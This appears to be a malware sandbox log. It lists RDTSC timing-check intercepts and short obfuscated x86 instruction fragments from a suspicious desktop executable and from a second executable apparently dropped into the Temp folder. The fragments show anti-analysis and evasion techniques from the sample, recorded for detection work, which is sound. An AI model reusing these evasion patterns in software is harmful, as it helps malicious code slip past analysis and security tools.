Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0647 second address: 52C0E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F43D270E7ACh 0x0000000e xor eax, eax 0x00000010 jmp 00007F4361059EDAh 0x00000015 pop esi 0x00000016 pop edi 0x00000017 pop ebx 0x00000018 leave 0x00000019 retn 0004h 0x0000001c nop 0x0000001d xor ebx, ebx 0x0000001f cmp eax, 00000000h 0x00000022 je 00007F4361080903h 0x00000028 call 00007F436598EA6Fh 0x0000002d mov edi, edi 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F43610807B3h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52C0E59 second address: 52C0EA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A89h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov dx, ax 0x0000000e mov si, 3DCFh 0x00000012 popad 0x00000013 push eax 0x00000014 pushad 0x00000015 mov edx, 299EB506h 0x0000001a mov bl, 1Bh 0x0000001c popad 0x0000001d xchg eax, ebp 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F43610E8A85h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52C0EA2 second address: 52C0F02 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 pushfd 0x00000007 jmp 00007F43610807B8h 0x0000000c jmp 00007F43610807B5h 0x00000011 popfd 0x00000012 popad 0x00000013 pop edx 0x00000014 pop eax 0x00000015 mov ebp, esp 0x00000017 jmp 00007F43610807AEh 0x0000001c xchg eax, ecx 0x0000001d jmp 00007F43610807B0h 0x00000022 push eax 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52C0F02 second address: 52C0F1E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52C0F1E second address: 52C0F6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807ABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F43610807B4h 0x00000011 adc cx, 3858h 0x00000016 jmp 00007F43610807ABh 0x0000001b popfd 0x0000001c movzx eax, bx 0x0000001f popad 0x00000020 mov dword ptr [ebp-04h], 55534552h 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c mov si, E759h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52C0F89 second address: 52C0F8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52C0F8D second address: 52C0F91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52C0F91 second address: 52C0F97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0A1F second address: 52D0A8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 mov cx, bx 0x00000009 pushfd 0x0000000a jmp 00007F43610807B3h 0x0000000f and esi, 0B8001FEh 0x00000015 jmp 00007F43610807B9h 0x0000001a popfd 0x0000001b popad 0x0000001c popad 0x0000001d push eax 0x0000001e jmp 00007F43610807B1h 0x00000023 xchg eax, ebp 0x00000024 jmp 00007F43610807AEh 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e mov ax, bx 0x00000031 pushad 0x00000032 popad 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0A8A second address: 52D0AC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610E8A84h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [769B459Ch], 05h 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F43610E8A87h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0AC2 second address: 52D0AC7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0AC7 second address: 52D0B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F43610E8A85h 0x0000000a sub eax, 590FF856h 0x00000010 jmp 00007F43610E8A81h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 je 00007F43D2766979h 0x0000001f pushad 0x00000020 pushfd 0x00000021 jmp 00007F43610E8A7Ch 0x00000026 xor cl, 00000078h 0x00000029 jmp 00007F43610E8A7Bh 0x0000002e popfd 0x0000002f call 00007F43610E8A88h 0x00000034 push esi 0x00000035 pop ebx 0x00000036 pop eax 0x00000037 popad 0x00000038 pop ebp 0x00000039 push eax 0x0000003a push edx 0x0000003b pushad 0x0000003c mov ecx, 2E8D1625h 0x00000041 mov ebx, esi 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0C9A second address: 52D0C9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0C9E second address: 52D0CA2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52D0CA2 second address: 52D0CA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E08D9 second address: 52E08DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E08DF second address: 52E090D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop ebx 0x00000005 pushfd 0x00000006 jmp 00007F43610807AEh 0x0000000b sbb si, 2BB8h 0x00000010 jmp 00007F43610807ABh 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d push ecx 0x0000001e pop ebx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E090D second address: 52E0940 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 mov edx, ecx 0x00000009 jmp 00007F43610E8A86h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F43610E8A7Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0940 second address: 52E0955 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807B1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0955 second address: 52E0981 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F43610E8A87h 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov ax, 1D23h 0x00000014 mov esi, 5A84687Fh 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0981 second address: 52E09CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807B5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b jmp 00007F43610807AEh 0x00000010 xchg eax, esi 0x00000011 jmp 00007F43610807B0h 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F43610807ADh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E09CD second address: 52E09D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E09D3 second address: 52E0A15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F43610807AAh 0x00000009 xor si, B128h 0x0000000e jmp 00007F43610807ABh 0x00000013 popfd 0x00000014 call 00007F43610807B8h 0x00000019 pop eax 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0A15 second address: 52E0A19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0A19 second address: 52E0A33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0A33 second address: 52E0A83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F43610E8A81h 0x00000009 xor si, 3156h 0x0000000e jmp 00007F43610E8A81h 0x00000013 popfd 0x00000014 mov bx, cx 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a mov esi, dword ptr [ebp+0Ch] 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007F43610E8A89h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0A83 second address: 52E0B31 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 5792A1F2h 0x00000008 mov eax, edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d test esi, esi 0x0000000f pushad 0x00000010 movsx edi, si 0x00000013 pushfd 0x00000014 jmp 00007F43610807ACh 0x00000019 adc cx, 8D08h 0x0000001e jmp 00007F43610807ABh 0x00000023 popfd 0x00000024 popad 0x00000025 je 00007F43D26EE0A8h 0x0000002b pushad 0x0000002c pushad 0x0000002d call 00007F43610807B2h 0x00000032 pop esi 0x00000033 pushfd 0x00000034 jmp 00007F43610807ABh 0x00000039 add ax, 05FEh 0x0000003e jmp 00007F43610807B9h 0x00000043 popfd 0x00000044 popad 0x00000045 call 00007F43610807B0h 0x0000004a pop edi 0x0000004b popad 0x0000004c cmp dword ptr [769B459Ch], 05h 0x00000053 pushad 0x00000054 pushad 0x00000055 jmp 00007F43610807B8h 0x0000005a push eax 0x0000005b push edx 0x0000005c rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0B31 second address: 52E0B48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov dx, cx 0x00000008 popad 0x00000009 je 00007F43D276E3D3h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov al, dl 0x00000014 mov ebx, eax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0B48 second address: 52E0B4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0B4E second address: 52E0B52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0B52 second address: 52E0B7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807AFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F43610807B0h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0B7C second address: 52E0B82 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0B82 second address: 52E0B88 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0B88 second address: 52E0B8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0B8C second address: 52E0B90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0B90 second address: 52E0BB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b movzx eax, di 0x0000000e pop edi 0x0000000f mov bx, cx 0x00000012 popad 0x00000013 xchg eax, esi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F43610E8A7Eh 0x0000001d rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0BB6 second address: 52E0BBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0BBA second address: 52E0BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	RDTSC instruction interceptor: First address: 52E0BC0 second address: 52E0BC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: CFDD1F second address: CFDD60 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F43610E8A87h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e js 00007F43610E8AAEh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F43610E8A89h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E78318 second address: E7831C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7831C second address: E78320 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E78320 second address: E7832E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7832E second address: E78332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E78332 second address: E78341 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 ja 00007F43610807A6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E5E9B8 second address: E5E9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E5E9BC second address: E5E9DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F43610807B9h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E5E9DE second address: E5E9E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E5E9E8 second address: E5E9F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E5E9F1 second address: E5E9F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E5E9F7 second address: E5E9FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E5E9FB second address: E5EA0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 js 00007F43610E8A76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push esi 0x00000011 pop esi 0x00000012 push esi 0x00000013 pop esi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7751E second address: E7753C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edi 0x00000007 pop edi 0x00000008 popad 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c jmp 00007F43610807B0h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7753C second address: E77541 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E776C0 second address: E776C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E776C6 second address: E77706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F43610E8A87h 0x0000000c jmp 00007F43610E8A85h 0x00000011 push edx 0x00000012 jmp 00007F43610E8A7Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E77852 second address: E77858 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7B6F8 second address: E7B73B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F43610E8A87h 0x0000000b popad 0x0000000c mov eax, dword ptr [eax] 0x0000000e jmp 00007F43610E8A7Ch 0x00000013 mov dword ptr [esp+04h], eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F43610E8A81h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7B73B second address: E7B7DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F43610807ACh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c xor dword ptr [ebp+122D30DCh], edx 0x00000012 push 00000003h 0x00000014 push eax 0x00000015 mov edx, 413FE5D1h 0x0000001a pop edi 0x0000001b mov edi, 0F56233Ch 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ebp 0x00000025 call 00007F43610807A8h 0x0000002a pop ebp 0x0000002b mov dword ptr [esp+04h], ebp 0x0000002f add dword ptr [esp+04h], 0000001Ah 0x00000037 inc ebp 0x00000038 push ebp 0x00000039 ret 0x0000003a pop ebp 0x0000003b ret 0x0000003c mov edx, dword ptr [ebp+122D3016h] 0x00000042 push 00000003h 0x00000044 push 00000000h 0x00000046 push ebx 0x00000047 call 00007F43610807A8h 0x0000004c pop ebx 0x0000004d mov dword ptr [esp+04h], ebx 0x00000051 add dword ptr [esp+04h], 00000014h 0x00000059 inc ebx 0x0000005a push ebx 0x0000005b ret 0x0000005c pop ebx 0x0000005d ret 0x0000005e jmp 00007F43610807B9h 0x00000063 push 5D3D0DCAh 0x00000068 push eax 0x00000069 push edx 0x0000006a js 00007F43610807B4h 0x00000070 jmp 00007F43610807AEh 0x00000075 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7B7DE second address: E7B7E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7B922 second address: E7B967 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F43610807ACh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e jns 00007F43610807B9h 0x00000014 mov eax, dword ptr [eax] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F43610807B3h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7B967 second address: E7B982 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jns 00007F43610E8A7Ch 0x0000000c popad 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 pushad 0x00000012 push edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7B982 second address: E7BA13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 je 00007F43610807ACh 0x0000000b jc 00007F43610807A6h 0x00000011 popad 0x00000012 pop eax 0x00000013 add dword ptr [ebp+122D2ACFh], ebx 0x00000019 push 00000003h 0x0000001b push 00000000h 0x0000001d push edi 0x0000001e call 00007F43610807A8h 0x00000023 pop edi 0x00000024 mov dword ptr [esp+04h], edi 0x00000028 add dword ptr [esp+04h], 0000001Dh 0x00000030 inc edi 0x00000031 push edi 0x00000032 ret 0x00000033 pop edi 0x00000034 ret 0x00000035 mov dword ptr [ebp+122D30E9h], ecx 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push esi 0x00000040 call 00007F43610807A8h 0x00000045 pop esi 0x00000046 mov dword ptr [esp+04h], esi 0x0000004a add dword ptr [esp+04h], 00000019h 0x00000052 inc esi 0x00000053 push esi 0x00000054 ret 0x00000055 pop esi 0x00000056 ret 0x00000057 push edi 0x00000058 mov dx, bx 0x0000005b pop ecx 0x0000005c push 00000003h 0x0000005e jmp 00007F43610807AEh 0x00000063 call 00007F43610807A9h 0x00000068 push eax 0x00000069 push edx 0x0000006a push esi 0x0000006b jl 00007F43610807A6h 0x00000071 pop esi 0x00000072 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7BA13 second address: E7BA19 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7BA19 second address: E7BA1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7BA1D second address: E7BA33 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F43610E8A76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 js 00007F43610E8A76h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7BA33 second address: E7BA7C instructions: 0x00000000 rdtsc 0x00000002 jns 00007F43610807A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F43610807B6h 0x0000000f popad 0x00000010 mov eax, dword ptr [esp+04h] 0x00000014 push ebx 0x00000015 jmp 00007F43610807B6h 0x0000001a pop ebx 0x0000001b mov eax, dword ptr [eax] 0x0000001d push eax 0x0000001e push edx 0x0000001f jg 00007F43610807A8h 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe	RDTSC instruction interceptor: First address: E7BA7C second address: E7BA86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F43610E8A76h 0x0000000a rdtsc
